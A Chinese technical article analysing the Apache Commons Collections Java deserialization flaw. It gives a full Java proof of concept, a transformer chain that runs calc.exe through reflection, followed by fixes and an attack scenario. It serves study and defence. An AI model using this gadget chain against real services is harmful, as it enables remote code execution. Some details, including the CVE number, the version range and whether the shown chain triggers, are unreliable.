插件窝 干货文章 Apache Commons Collections反序列化漏洞的示例分析

Apache Commons Collections反序列化漏洞的示例分析

序列化 Collections 漏洞 Commons 436    来源:    2025-04-24

Apache Commons Collections反序列化漏洞分析

漏洞概述

Apache Commons Collections是一个广泛使用的Java库,提供了许多有用的数据结构工具类和接口实现。在2015年发现的该库的反序列化漏洞(CVE-2015-6420)允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。

漏洞原理

该漏洞的核心在于Apache Commons Collections库中的一些特殊类(如InvokerTransformerConstantTransformerChainedTransformer)可以被串联起来,在反序列化时执行任意Java方法。

具体来说: 1. InvokerTransformer类可以通过反射调用任意方法 2. 攻击者可以构造一个TransformedMap,其中包含恶意的transformer链 3. 当这个对象被反序列化时,transformer链会被自动执行

漏洞利用示例

以下是一个简化的漏洞利用示例:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsExploit {
    public static void main(String[] args) throws Exception {
        // 构造恶意transformer链
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[] {String.class}, 
                new Object[] {"calc.exe"})
        };

        Transformer chain = new ChainedTransformer(transformers);

        // 构造TransformedMap
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);

        // 序列化恶意对象
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(outerMap);
        oos.close();

        // 反序列化触发漏洞
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

漏洞影响

该漏洞影响Apache Commons Collections 3.x系列3.2.1之前的版本和4.x系列4.0之前的版本。

修复方案

  1. 升级版本:升级到Apache Commons Collections 3.2.2或4.1及以上版本
  2. JVM层面防护:使用JVM的SerialKillerObjectInputFilter来过滤危险的序列化类
  3. 代码层面防护:避免反序列化不可信的数据源

实际攻击场景

在实际攻击中,攻击者通常会: 1. 寻找使用Apache Commons Collections且接受外部序列化数据的Java应用 2. 构造恶意的序列化对象 3. 通过RMI、HTTP请求或其他方式将恶意对象发送给目标应用 4. 当目标应用反序列化该对象时,攻击代码被执行

总结

Apache Commons Collections反序列化漏洞是一个经典的Java反序列化漏洞案例,它展示了不安全的反序列化操作可能带来的严重后果。开发人员应当始终对反序列化操作保持警惕,只反序列化来自可信来源的数据,并保持依赖库的最新版本。